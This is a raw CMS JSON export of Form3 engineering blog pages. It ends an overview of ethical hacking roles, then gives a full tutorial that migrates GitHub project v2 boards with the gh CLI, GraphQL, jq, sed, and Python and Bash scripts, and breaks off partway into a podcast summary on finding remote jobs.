vary according to the system under test. They are typically responsible for the following activities:",[],{"type":582,"text":4796,"spans":4797,"direction":4053},"Perimeter scanning: also known as external vulnerability scanning, this involves scoping the system's external network to detect if it can be accessible by malicious actors. This involves the analysis of firewalls, gateways and network infrastructure.",[4798],{"start":17,"end":905,"type":477},{"type":582,"text":4800,"spans":4801,"direction":4053},"Penetration testing: usually performed before a service or system is live, pentesting is a targeted attack to find exploitable vulnerabilities. The scope of pentesting is very narrow, while the scope of perimeter testing is much wider.",[4802],{"start":17,"end":2369,"type":477},{"type":582,"text":4804,"spans":4805,"direction":4053},"Red teaming: the ethical hackers launch a full scale cyber attack against the system in order to check how they would respond in the case of a genuine cyber attack. They use all the techniques a real malicious actor would use, including phishing or social engineering of staff.",[4806],{"start":17,"end":1998,"type":477},{"type":582,"text":4808,"spans":4809,"direction":4053},"Training: ethical hackers are also in charge of educating engineers on good security practices, pushing security best practices into the development process and enable them to take ownership of the security of their services.",[4810],{"start":17,"end":4811,"type":477},8,{"type":396,"text":4813,"spans":4814,"direction":4053},"Red teaming is the most comprehensive hacking technique, as it tests the system as a whole, including the people using it. The table below presents a comparison of the purpose and focus of each technique:",[],"rich_text$d5d428c8-e0d1-4143-b745-d7abd4695106",{"variation":459,"version":481,"items":4817,"primary":4818,"id":4837,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":4819,"body":4820,"cta_label":13,"cta_link":4824,"aside_type":488,"aside_image":4825,"aside_video":4832,"aside_video_poster":4833,"aside_video_reduced_motion":4834,"aside_video_url":13,"aside_embed":4835,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":4836,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[4821],{"type":396,"text":4822,"spans":4823},"Purpose & focus of each ethical hacking activity",[],{"link_type":487},{"dimensions":4826,"alt":13,"copyright":13,"url":4829,"id":4830,"edit":4831},{"width":4827,"height":4828},1637,728,"\u002F_prismic-media\u002F2279dc1fd3f64a67-4MimHkRB3FwGqtsS_eab08ce0-3849-4142-aeec-343ff0b.png","4MimHkRB3FwGqtsS",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$c3d07f40-915d-4038-98e3-56ce1fbf3873",{"variation":459,"version":460,"items":4839,"primary":4840,"id":4884,"slice_type":479,"slice_label":13},[],{"body":4841},[4842,4844,4847,4850,4854,4860,4866],{"type":1097,"text":982,"spans":4843,"direction":4053},[],{"type":396,"text":4845,"spans":4846,"direction":4053},"Ethical hacking is an important part of keeping systems secure, as they help us identify and fix vulnerabilities before malicious actors can exploit them.",[],{"type":396,"text":4848,"spans":4849,"direction":4053},"We have an amazing team of ethical hackers at Form3 to keep our systems, which have access to sensitive financial data, safe.",[],{"type":4851,"text":4852,"spans":4853,"direction":4053},"heading4","Further resources",[],{"type":582,"text":4855,"spans":4856,"direction":4053},"If you're interested in learning more about hacking, HackTheBox is a great way to upskill.",[4857],{"start":3378,"end":1734,"type":744,"data":4858},{"link_type":453,"url":4859,"target":456},"https:\u002F\u002Fwww.hackthebox.com\u002F",{"type":582,"text":4861,"spans":4862,"direction":4053},"You can hear more about ethical hacking on our podcast.",[4863],{"start":3824,"end":2041,"type":744,"data":4864},{"link_type":453,"url":4865,"target":456},"https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-12-tech-ethical-hacking",{"type":582,"text":4867,"spans":4868,"direction":4053},"We have also published interesting articles which demonstrate hacking techniques on our blog: Phishing with GitHub, Adventures into Electron code injection on MacOS, Exploiting Distroless Images, DYLIB Injection in Golang apps on Apple silicon chips",[4869,4872,4876,4880],{"start":4349,"end":2068,"type":744,"data":4870},{"link_type":453,"url":4871,"target":456},"https:\u002F\u002Fwww.form3.tech\u002Fengineering\u002Fcontent\u002Fphishing-github",{"start":1443,"end":4873,"type":744,"data":4874},164,{"link_type":453,"url":4875,"target":456},"https:\u002F\u002Fwww.form3.tech\u002Fengineering\u002Fcontent\u002Felectron-injection",{"start":2537,"end":4877,"type":744,"data":4878},194,{"link_type":453,"url":4879,"target":456},"https:\u002F\u002Fwww.form3.tech\u002Fengineering\u002Fcontent\u002Fexploiting-distroless-images",{"start":2815,"end":4881,"type":744,"data":4882},249,{"link_type":453,"url":4883,"target":456},"https:\u002F\u002Fwww.form3.tech\u002Fengineering\u002Fcontent\u002Fdylib-injection-in-golang-apps","rich_text$04a4da43-0a42-4576-bb1f-044a322eead2",{"id":4886,"uid":4887,"url":4888,"type":406,"href":4889,"tags":4890,"first_publication_date":4891,"last_publication_date":4892,"slugs":4893,"linked_documents":4895,"lang":386,"alternate_languages":4896,"data":4897},"alz00xEAAC0AUWac","migrating-gh-boards","\u002Fresources\u002Fengineering-blog\u002Fmigrating-gh-boards","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz00xEAAC0AUWac%22%29+%5D%5D",[],"2026-07-19T16:21:58+0000","2026-08-27T02:06:59+0000",[4894],"why-would-you-want-to-do-that",[],[],{"title":4898,"excerpt":4899,"card_image":4900,"published_date":4905,"reading_time":672,"tag":427,"dek":4899,"featured_image":4906,"about_form3":4911,"client_about_heading":13,"client_about_body":4912,"author_name":1594,"author_title":1595,"author_photo":4913,"author_bio":4916,"author_linkedin":4921,"slices":4923,"meta_title":4898,"meta_description":4899},"Migrating project v2 boards in GitHub","Once upon a time, there were project boards in GitHub. They helped you plan, they looked like Trello, and they were much loved. They were classic. Then, one day, they were deprecated! Along came project v2 boards. They were like Trello, but also like a spreadsheet, and much more between, and they became the new project planning tool in GitHub. This post is about migrating project boards in GitHub. It's not, as you might expect, about migrating from classic project boards to v2 projects. GitHub offer a migration tool for that in their UI, and it's easy to do. Instead, this post is about migrating from one v2 board to another.",{"dimensions":4901,"alt":4898,"copyright":13,"url":4902,"id":4903,"edit":4904},{"width":420,"height":420},"\u002F_prismic-media\u002Fdfe6cc73fc80b23b--k-SRcoga9nP6phQ_migrating-gh-boards.svg","-k-SRcoga9nP6phQ",{"x":17,"y":17,"zoom":18,"background":424},"2023-02-22",{"dimensions":4907,"alt":13,"copyright":13,"url":4908,"id":4909,"edit":4910},{"width":1270,"height":1271},"\u002F_prismic-media\u002Fb3d284b415eccdce-TxE896nUniwYhPzD_5bb68ae8-3608-4127-be91-01bd61e.jpg","TxE896nUniwYhPzD",{"x":17,"y":17,"zoom":18,"background":424},[],[],{"dimensions":4914,"alt":1594,"copyright":13,"url":1598,"id":1599,"edit":4915},{"width":443,"height":444},{"x":17,"y":17,"zoom":18,"background":424},[4917],{"type":396,"text":1603,"spans":4918},[4919],{"start":1606,"end":1607,"type":744,"data":4920},{"link_type":453,"url":1609,"target":456},{"link_type":453,"key":4922,"url":1612,"target":456},"e1c88d6b-6263-4727-bb1b-7b3f7d058448",[4924,4935,4961,4972,4980,4988,4996,5034,5048,5056,5070,5078,5089,5097,5117,5125,5133,5141,5152,5178,5186],{"variation":459,"version":460,"items":4925,"primary":4926,"id":4934,"slice_type":479,"slice_label":13},[],{"body":4927},[4928,4931],{"type":465,"text":4929,"spans":4930},"Why would you want to do that?",[],{"type":396,"text":4932,"spans":4933},"Good question! Well, the GitHub classic to v2 migration tool migrates issues to a v2 board with the same status names\u002Fcolumns as the classic board. If you want to migrate the issues on this new board into a different v2 board, or you just want to combine multiple v2 project boards into one, you'll need to work outside of the GitHub UI.",[],"rich_text$320fb916-da98-4bc4-bf5f-0e5df85993e4",{"variation":459,"version":460,"items":4936,"primary":4937,"id":4960,"slice_type":479,"slice_label":13},[],{"body":4938},[4939,4942,4945,4951,4957],{"type":465,"text":4940,"spans":4941},"So, how do you do it?",[],{"type":396,"text":4943,"spans":4944},"In this blog post, I'm going to show you how I did this using a combination of:",[],{"type":1101,"text":4946,"spans":4947},"The GitHub GraphQL API.",[4948],{"start":667,"end":579,"type":744,"data":4949},{"link_type":453,"url":4950},"https:\u002F\u002Fdocs.github.com\u002Fen\u002Fgraphql\u002Freference",{"type":1101,"text":4952,"spans":4953},"The GitHub command line interface.",[4954],{"start":667,"end":685,"type":744,"data":4955},{"link_type":453,"url":4956},"https:\u002F\u002Fgithub.com\u002Fcli\u002Fcli",{"type":1101,"text":4958,"spans":4959},"A little bit of Bash and Python scripting.",[],"rich_text$44044b55-a3a8-41a5-97b3-b387338f0383",{"variation":459,"version":460,"items":4962,"primary":4963,"id":4971,"slice_type":479,"slice_label":13},[],{"body":4964},[4965,4968],{"type":465,"text":4966,"spans":4967},"Step 1: list the issues on the project v2 board you want to migrate",[],{"type":396,"text":4969,"spans":4970},"This can be achieved with the GitHub GraphQL API, via the GitHub CLI:",[],"rich_text$cc630263-420b-4be6-9cbf-2d210463a7e5",{"variation":459,"version":460,"items":4973,"primary":4974,"id":4979,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":4975},[4976],{"type":563,"text":4977,"spans":4978},"gh api graphql \\\n    --paginate \\\n    --jq '.data.organization.projectV2.items.nodes[]' \\\n    -f query='\nquery($endCursor: String) {\n  organization(login:\"\u003Corganisation-id>\"){\n    projectV2(number:\u003Cproject-number>){\n      items(first:10, after: $endCursor){\n        pageInfo{ hasNextPage endCursor }\n        nodes{\n          fieldValueByName(name:\"Status\"){\n            __typename\n            ... on ProjectV2ItemFieldSingleSelectValue{\n              name\n            }\n          }\n          content{\n            __typename\n            ... on Issue{\n              number\n              title\n              id\n            }\n          }\n        }\n      }\n    }\n  }\n}' | jq | sed 's\u002F^}$\u002F},\u002Fg' | sed '1s\u002F^{$\u002F[{\u002Fg' | sed '$s\u002F^},$\u002F}]\u002Fg' | tee issues.json",[],"code_block$c7645222-a813-451d-a527-88d6ba2f1bd6",{"variation":459,"version":460,"items":4981,"primary":4982,"id":4987,"slice_type":479,"slice_label":13},[],{"body":4983},[4984],{"type":396,"text":4985,"spans":4986},"This results in some output like this:",[],"rich_text$794f9ab2-fa27-40b8-bd5e-d2ea1b9f0ee9",{"variation":459,"version":460,"items":4989,"primary":4990,"id":4995,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":4991},[4992],{"type":563,"text":4993,"spans":4994},"[{\n  \"content\": {\n    \"__typename\": \"Issue\",\n    \"id\": \"I_kwDOGolhjhjkhjke\",\n    \"number\": 112,\n    \"title\": \"Handle thing field correctly in blah\"\n  },\n  \"fieldValueByName\": {\n    \"__typename\": \"ProjectV2ItemFieldSingleSelectValue\",\n    \"name\": \"Done 🎉\"\n  }\n},\n{\n  \"content\": {\n    \"__typename\": \"Issue\",\n    \"id\": \"I_kwDOGhjkhkjhjkkN\",\n    \"number\": 234,\n    \"title\": \"Add a stage to the CI which runs the load tests\"\n  },\n  \"fieldValueByName\": {\n    \"__typename\": \"ProjectV2ItemFieldSingleSelectValue\",\n    \"name\": \"Done 🎉\"\n  }\n}]",[],"code_block$6fade4a6-e1c8-4a1f-ab99-c33f7d778db7",{"variation":459,"version":460,"items":4997,"primary":4998,"id":5033,"slice_type":479,"slice_label":13},[],{"body":4999},[5000,5003,5007,5014,5018,5024,5030],{"type":396,"text":5001,"spans":5002},"Let's just examine the commands in the pipeline:",[],{"type":1101,"text":5004,"spans":5005},"gh api graphql makes the raw request to GitHub, but outputs paginated data that isn't well-formed in a JSON array.",[5006],{"start":17,"end":1342,"type":780},{"type":1101,"text":5008,"spans":5009},"jq pretty-formats the JSON, which leaves characters like { and } on their own line, although still not in a JSON array.",[5010,5011,5012],{"start":17,"end":2010,"type":780},{"start":2638,"end":556,"type":780},{"start":1734,"end":5013,"type":780},64,{"type":1101,"text":5015,"spans":5016},"sed 's\u002F^}$\u002F},\u002Fg' replaces errant closing braces of array elements with a well formed brace and comma. This makes paginated elements into valid elements of a JSON array.",[5017],{"start":17,"end":595,"type":780},{"type":1101,"text":5019,"spans":5020},"sed '1s\u002F^{$\u002F[{\u002Fg' replaces the first line containing an opening brace with [{, which opens a well-formed JSON array.",[5021,5022],{"start":17,"end":967,"type":780},{"start":5023,"end":708,"type":780},75,{"type":1101,"text":5025,"spans":5026},"sed '$s\u002F^},$\u002F}]\u002Fg' replaces the final line containing a trailing comma, with a well-formed }], which closes the JSON array.",[5027,5028],{"start":17,"end":905,"type":780},{"start":1984,"end":5029,"type":780},93,{"type":396,"text":5031,"spans":5032},"The result is a nicely formatted JSON array containing an element for every issue on the board, along with its current status.",[],"rich_text$bf539717-1971-49fc-8000-97dcdb8096ac",{"variation":459,"version":460,"items":5035,"primary":5036,"id":5047,"slice_type":479,"slice_label":13},[],{"body":5037},[5038,5041,5044],{"type":465,"text":5039,"spans":5040},"Step 2: map the current statuses, to statuses on your target board",[],{"type":396,"text":5042,"spans":5043},"Now that we've got all the issues and their current statuses, we can map all their statuses to statuses on your new project board. This is the step that allows you to migrate issues from one board to another, when there isn't necessarily a straightforward mapping from the statuses on one board to the other.",[],{"type":396,"text":5045,"spans":5046},"This is hard to do in Bash, but relatively straight forward in Python:",[],"rich_text$bd9dd29e-024d-4d96-84b6-514053b903ac",{"variation":459,"version":460,"items":5049,"primary":5050,"id":5055,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5051},[5052],{"type":563,"text":5053,"spans":5054},"import json\nimport os\nimport sys\n\n# This function maps statuses on your source board to those on your\n# target board.\ndef map_old_status_to_new(old_status):\n    if \"Backlog\" in old_status:\n        return \"Product planning\"\n    if \"Ready To Start\" in old_status:\n        return \"Ready to develop\"\n    if \"In Progress\" in old_status:\n        return \"In development\"\n    if \"Done\" in old_status:\n        return None\n    if \"Parked\" in old_status:\n        return None\n\n# Read the issues data from file.\nwith open('issues.json') as f:\n\tissues = json.loads(f.read())\n\n# Iterate over each of the issues, and map the old status to their\n# new status.\nfor issue in issues:\n    try:\n        number = issue[\"content\"][\"number\"]\n        old_status = issue[\"fieldValueByName\"][\"name\"]\n        new_status = map_old_status_to_new(old_status)\n        if new_status is None:\n            print(\n                \"ignoring issue {} because its status is {}\".format(\n                    number,\n                    old_status\n                ),\n                file=sys.stderr\n            )\n            continue\n\t\t# Output some new JSON representing the issue and its mapped status.\n        mapped_issue = {\n            \"number\": number,\n            \"id\": issue[\"content\"][\"id\"],\n            \"old_status\": old_status,\n            \"new_status\": new_status\n        }\n        print(json.dumps(mapped_issue))\n    except Exception as e:\n        print(\n            \"error processing issue. error: {}, issue: {}\".format(e, issue),\n            file=sys.stderr\n        )",[],"code_block$9fe4a61f-f38f-458d-95a1-63226bc1fd4b",{"variation":459,"version":460,"items":5057,"primary":5058,"id":5069,"slice_type":479,"slice_label":13},[],{"body":5059},[5060,5063,5066],{"type":396,"text":5061,"spans":5062},"This script reads your issues data, and re-shapes the data into a JSON object per line of standard output. Each object contains the information required to add the issue to the new project board in the correct status.",[],{"type":396,"text":5064,"spans":5065},"You could run this Python script from a shell and pipe its output to subsequent commands, or save the output to a file.",[],{"type":396,"text":5067,"spans":5068},"The output looks something like this:",[],"rich_text$bd42144b-f617-4b52-85db-e546ddc2815d",{"variation":459,"version":460,"items":5071,"primary":5072,"id":5077,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5073},[5074],{"type":563,"text":5075,"spans":5076},"{\"number\": 1151, \"id\": \"I_kwhjkol6Is5ZStTQ\", \"old_status\": \"In Progress \\ud83c\\udfd7\\ufe0f\", \"new_status\": \"In development\"}\n{\"number\": 902, \"id\": \"I_kwhjkol6Is5U9_wD\", \"old_status\": \"In Progress \\ud83c\\udfd7\\ufe0f\", \"new_status\": \"In development\"}\n{\"number\": 1229, \"id\": \"I_kwhjkol6Is5aw2yu\", \"old_status\": \"In Progress \\ud83c\\udfd7\\ufe0f\", \"new_status\": \"In development\"}",[],"code_block$05b05a21-1133-43ba-aa47-5227a46b7c07",{"variation":459,"version":460,"items":5079,"primary":5080,"id":5088,"slice_type":479,"slice_label":13},[],{"body":5081},[5082,5085],{"type":465,"text":5083,"spans":5084},"Step 3: get the ID of the new project",[],{"type":396,"text":5086,"spans":5087},"In order to use the GitHub API to add the issues to the new project, we'll need its ID. We can get this easily using the GitHub CLI:",[],"rich_text$8d972261-789e-4dde-926b-30ffb92049e8",{"variation":459,"version":460,"items":5090,"primary":5091,"id":5096,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5092},[5093],{"type":563,"text":5094,"spans":5095},"project_id=$(gh api graphql --jq '.data.organization.projectV2.id' -f query='\n  query{\n\torganization(login:\"form3tech\"){\n\t  projectV2(number:345){\n\t    id\n\t  }\n\t}\n  }')",[],"code_block$f5feb686-803e-42dd-967a-864f85ceabcb",{"variation":459,"version":460,"items":5098,"primary":5099,"id":5116,"slice_type":479,"slice_label":13},[],{"body":5100},[5101,5104,5107,5110,5113],{"type":465,"text":5102,"spans":5103},"Step 4: find out about the status field in the new project",[],{"type":396,"text":5105,"spans":5106},"Project v2 boards have a more flexible status configuration than the columns in a classic board, so in order to make use of them via the API you need to know:",[],{"type":582,"text":5108,"spans":5109},"The ID of the status field on issues.",[],{"type":582,"text":5111,"spans":5112},"The IDs and names of the different status options.",[],{"type":396,"text":5114,"spans":5115},"We can find all this out in one go with a single request to the GitHub API:",[],"rich_text$531d26f4-1b9c-496d-b798-9207fb6d0cbd",{"variation":459,"version":460,"items":5118,"primary":5119,"id":5124,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5120},[5121],{"type":563,"text":5122,"spans":5123},"gh api graphql -f query='\n  query{\n\torganization(login: \"form3tech\"){\n\t  projectV2(number: 345) {\n\t    field(name:\"Status\"){\n\t      __typename\n\t      ... on ProjectV2SingleSelectField{\n \t\t    id\n\t\t    options{\n\t\t      id\n\t\t      name\n\t\t    }\n\t      }\n\t    }\n\t  }\n\t}\n  }' | jq",[],"code_block$3a9907ce-1e62-4cb9-bbea-867e822c5373",{"variation":459,"version":460,"items":5126,"primary":5127,"id":5132,"slice_type":479,"slice_label":13},[],{"body":5128},[5129],{"type":396,"text":5130,"spans":5131},"The output is something like this:",[],"rich_text$efd46e5c-2ab1-4ba5-ba4e-3a8eb5197256",{"variation":459,"version":460,"items":5134,"primary":5135,"id":5140,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5136},[5137],{"type":563,"text":5138,"spans":5139},"{\n  \"data\": {\n    \"organization\": {\n      \"projectV2\": {\n        \"field\": {\n          \"__typename\": \"ProjectV2SingleSelectField\",\n          \"id\": \"PVTSSF_lhjkerhkjhjkJlw9zgF9whc\",\n          \"options\": [\n            {\n              \"id\": \"ehjkhkj6\",\n              \"name\": \"Product planning\"\n            },\n            {\n              \"id\": \"hjkhkje4\",\n              \"name\": \"Ready to develop\"\n            },\n            {\n              \"id\": \"hukjhkjh\",\n              \"name\": \"In development\"\n            },\n            {\n              \"id\": \"dhjkhk31\",\n              \"name\": \"Ready for demo\"\n            },\n            {\n              \"id\": \"4hjkhkcb\",\n              \"name\": \"Blocked\"\n            },\n            {\n              \"id\": \"hjkh6657\",\n              \"name\": \"Approved\"\n            }\n          ]\n        }\n      }\n    }\n  }\n}",[],"code_block$69a80c4b-d63b-4169-93f6-c95831ce09f7",{"variation":459,"version":460,"items":5142,"primary":5143,"id":5151,"slice_type":479,"slice_label":13},[],{"body":5144},[5145],{"type":396,"text":5146,"spans":5147},"From this output, we can find the status field ID (jq '.data.organization.projectV2.field.id' | sed 's\u002F\"\u002F\u002Fg'), and the status options (jq '.data.organization.projectV2.field.options')",[5148,5150],{"start":1326,"end":5149,"type":780},108,{"start":2074,"end":1420,"type":780},"rich_text$58b15207-6f4f-4a51-a761-871a7ef65904",{"variation":459,"version":460,"items":5153,"primary":5154,"id":5177,"slice_type":479,"slice_label":13},[],{"body":5155},[5156,5159,5162,5165,5169,5173],{"type":465,"text":5157,"spans":5158},"Step 5: migrate the issues to the new board",[],{"type":396,"text":5160,"spans":5161},"Now, we can bring all of this data together in a Bash script which iterates over each of the issue lines outputted by our Python script, and adds the issue to the correct status on the new board:",[],{"type":396,"text":5163,"spans":5164},"This script assumes that:",[],{"type":1101,"text":5166,"spans":5167},"The output from the Python script has been saved in $issue_statuses.",[5168],{"start":547,"end":2630,"type":780},{"type":1101,"text":5170,"spans":5171},"The status options have been saved in $status_option_ids.",[5172],{"start":844,"end":662,"type":780},{"type":1101,"text":5174,"spans":5175},"The ID of the project has been saved in $project_id.",[5176],{"start":2040,"end":1326,"type":780},"rich_text$ea322eef-7f5b-4ca4-bc80-b0140ea784e9",{"variation":459,"version":460,"items":5179,"primary":5180,"id":5185,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":5181},[5182],{"type":563,"text":5183,"spans":5184},"set -eu -o pipefail\n\necho -n \"$issue_statuses\" | while read -r issue; do\n\t# Parse each JSON object into the variables we need.\n\tissue_id=$(echo -n \"$issue\" | jq '.id' | sed 's\u002F\"\u002F\u002Fg')\n\tissue_number=$(echo -n \"$issue\" | jq '.number')\n\tnew_status=$(echo -n \"$issue\" | jq '.new_status' | sed 's\u002F\"\u002F\u002Fg')\n\tstatus_option_id=$(echo -n \"$status_option_ids\" | jq \".[] | select(.name == \\\"$new_status\\\").id\" | sed 's\u002F\"\u002F\u002Fg')\n\n\t# Print out the variables we're using for the user to see.\n\techo \"issue id: $issue_id\"\n\techo \"issue number: $issue_number\"\n\techo \"new status: $new_status\"\n\techo \"status option id: $status_option_id\"\n\n\t# Check that we've got valid data.\n\tif [[ -z \"$issue_id\" || -z \"$issue_number\" || -z \"$new_status\" || -z \"$status_option_id\" ]]; then\n\t\techo \"invalid args\"\n\t\texit 1\n\tfi\n\n\techo \"adding issue number $issue_number to new board\"\n\n\t# First, add the issue to the new project, and store the item\u002Fcard ID in a variable.\n\titem_id=$(gh api graphql -f query='\n\t\tmutation{\n\t\t\taddProjectV2ItemById(input:{\n\t\t\t\tcontentId:\"'\"$issue_id\"'\",\n\t\t\t\tprojectId:\"'\"$project_id\"'\"\n\t\t\t}){\n\t\t\t\titem{\n\t\t\t\t\tid\n\t\t\t\t\tproject{\n\t\t\t\t\t\ttitle\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}' | jq '.data.addProjectV2ItemById.item.id' | sed 's\u002F\"\u002F\u002Fg')\n\n\techo \"moving issue number $issue_number to new status $new_status\"\n\n\t# Then, assign the correct status to the new project item\u002Fcard.\n\tgh api graphql --jq '.data.updateProjectV2ItemFieldValue.projectV2Item.fieldValueByName.name' -f query='\n\t\tmutation{\n\t\t\tupdateProjectV2ItemFieldValue(input:{\n\t\t\t\titemId:\"'\"$item_id\"'\",\n\t\t\t\tvalue:{singleSelectOptionId:\"'\"$status_option_id\"'\"},\n\t\t\t\tfieldId:\"'\"$status_field_id\"'\",\n\t\t\t\tprojectId:\"'\"$project_id\"'\",\n\t\t\t\tclientMutationId:\"status-update\"\n\t\t\t}){\n\t\t\t\tprojectV2Item{\n\t\t\t\t\tfieldValueByName(name: \"Status\"){\n\t\t\t\t\t\t__typename\n\t\t\t\t\t\t... on ProjectV2ItemFieldSingleSelectValue{\n\t\t\t\t\t\t\tname\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}'\ndone",[],"code_block$4299c2e0-4a03-4dc0-8911-c63f973c78c8",{"variation":459,"version":460,"items":5187,"primary":5188,"id":5196,"slice_type":479,"slice_label":13},[],{"body":5189},[5190,5193],{"type":465,"text":5191,"spans":5192},"Step 6: profit!",[],{"type":396,"text":5194,"spans":5195},"So there it is: it's a bit painful, but not possible via the GitHub UI. You need to make a few requests to the GraphQL to get the data you need, and re-shape some of the output into a format that's usable. For small project boards, you could probably do this manually, but if you need to migrate hundreds of issues then I hope you find this post useful!",[],"rich_text$6dc942c4-cc91-444a-b694-950e9c1f8c9b",{"id":5198,"uid":5199,"url":5200,"type":406,"href":5201,"tags":5202,"first_publication_date":4891,"last_publication_date":4892,"slugs":5203,"linked_documents":5205,"lang":386,"alternate_languages":5206,"data":5207},"alz01xEAACsAUWak","podcast-landing-remote-job","\u002Fresources\u002Fengineering-blog\u002Fpodcast-landing-remote-job","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz01xEAACsAUWak%22%29+%5D%5D",[],[5204],"ep-40-.tech---landing-your-next-remote-job",[],[],{"title":5208,"excerpt":5209,"card_image":5210,"published_date":5215,"reading_time":667,"tag":427,"dek":5209,"featured_image":5216,"about_form3":5221,"client_about_heading":13,"client_about_body":5222,"author_name":1277,"author_title":1278,"author_photo":5223,"author_bio":5226,"author_linkedin":5229,"slices":5231,"meta_title":5482,"meta_description":5209},"Landing your next remote job","Alexandra Forsberg is a Talent Acquisition Lead at Form3. She joins us to share tips for landing your next remote job. Alexandra covers all aspects of the interviewing process including where to find remote opportunities, how to stand out to hiring managers and how to prepare for a remote interview. Finally, she shares Form3's approach to the interview process.",{"dimensions":5211,"alt":5208,"copyright":13,"url":5212,"id":5213,"edit":5214},{"width":420,"height":420},"\u002F_prismic-media\u002F9db14f68d6ab8ef1-CWTuvmhVJulXh5-9_podcast-landing-remote-job.png","CWTuvmhVJulXh5-9",{"x":17,"y":17,"zoom":18,"background":19},"2023-02-15",{"dimensions":5217,"alt":13,"copyright":13,"url":5218,"id":5219,"edit":5220},{"width":1270,"height":1271},"\u002F_prismic-media\u002Fdaec448810db2a51-G7CvDdmfLwBoWqhP_3a01534e-924e-484d-bab8-62524b5.jpg","G7CvDdmfLwBoWqhP",{"x":17,"y":17,"zoom":18,"background":424},[],[],{"dimensions":5224,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":5225},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[5227],{"type":396,"text":1287,"spans":5228},[],{"link_type":453,"key":5230,"url":1291,"target":456},"92afba4c-1cfe-47f0-ae11-d9eacc63358c",[5232,5252,5270,5293,5334,5357,5392,5430,5453],{"variation":459,"version":481,"items":5233,"primary":5234,"id":5251,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":5235,"body":5239,"cta_label":1304,"cta_link":5242,"aside_type":13,"aside_image":5245,"aside_video":5246,"aside_video_poster":5247,"aside_video_reduced_motion":5248,"aside_video_url":13,"aside_embed":5249,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":5250,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[5236],{"type":465,"text":5237,"spans":5238},"Ep 40 .tech - Landing your next remote job",[],[5240],{"type":396,"text":1302,"spans":5241},[],{"link_type":453,"key":5243,"url":5244},"0f5e4d12-e0cf-4e17-8167-288fa72a4e33","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-40-tech-landing-your-next-remote-job-oEKI12dR",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$541724f5-8e32-4341-82f8-e71bf68fc7e8",{"variation":459,"version":460,"items":5253,"primary":5254,"id":5269,"slice_type":479,"slice_label":13},[],{"body":5255},[5256],{"type":396,"text":5257,"spans":5258},"Alexandra Forsberg is a Talent Acquisition Lead at Form3. Alexandra co-leads Form3's Engineering hiring across the UK, Europe, Argentina and Canada. She is currently leading a team of experienced Talent partners. Alexandra joined the business in 2018 and has had the privilege of growing Form3's Product, Engineering and Security departments. She has a background in agency recruitment, but is passionate about talent acquisition. She has shared her top interviewing tips in her article \"How to Land Your Dream Remote Software Engineer Job\".",[5259,5262,5264],{"start":17,"end":905,"type":744,"data":5260},{"link_type":453,"url":5261},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Falexandraforsberg\u002F",{"start":1326,"end":662,"type":744,"data":5263},{"link_type":453,"url":1328},{"start":5265,"end":5266,"type":744,"data":5267},487,540,{"link_type":453,"url":5268},"https:\u002F\u002Fwww.form3.tech\u002Fcareers\u002Fblog\u002Fdream-remote-software-engineer-job","rich_text$39d670eb-df8a-4f99-a8d1-ee9c0923db9e",{"variation":459,"version":460,"items":5271,"primary":5272,"id":5292,"slice_type":479,"slice_label":13},[],{"body":5273},[5274,5277,5280,5283,5286,5289],{"type":465,"text":5275,"spans":5276},"When is a good time to look for a job?",[],{"type":396,"text":5278,"spans":5279},"On average, engineers look for a new job every 2 or 3 years. Alexandra begins by discussing the timing of these job searches. The short answer is to look for a job whenever you're ready, but it can be difficult to predict across locations and industries. Alexandra recommends to always be prepared by:",[],{"type":1101,"text":5281,"spans":5282},"Updating your CV and LinkedIn profile.",[],{"type":1101,"text":5284,"spans":5285},"Practicing your interviewing skills.",[],{"type":1101,"text":5287,"spans":5288},"Keeping an eye on the job market.",[],{"type":396,"text":5290,"spans":5291},"A lot of companies do hire at the start of a new financial year or quarter, so that is something to keep in mind as well. In the UK, the financial year starts in April, but you should check when it runs in the locations you're interested in.",[],"rich_text$8631e4a7-8faa-4bd5-8385-f906f52b8249",{"variation":459,"version":460,"items":5294,"primary":5295,"id":5333,"slice_type":479,"slice_label":13},[],{"body":5296},[5297,5300,5303,5309,5315,5321,5327],{"type":465,"text":5298,"spans":5299},"Where can we find remote opportunities?",[],{"type":396,"text":5301,"spans":5302},"Alexandra recommends a few remote job boards to use in your search for a new role, which you can easily find using Google. The top boards she recommends are:",[],{"type":1101,"text":5304,"spans":5305},"We Work Remotely",[5306],{"start":17,"end":595,"type":744,"data":5307},{"link_type":453,"url":5308},"https:\u002F\u002Fweworkremotely.com\u002F",{"type":1101,"text":5310,"spans":5311},"Wellfound (formerly 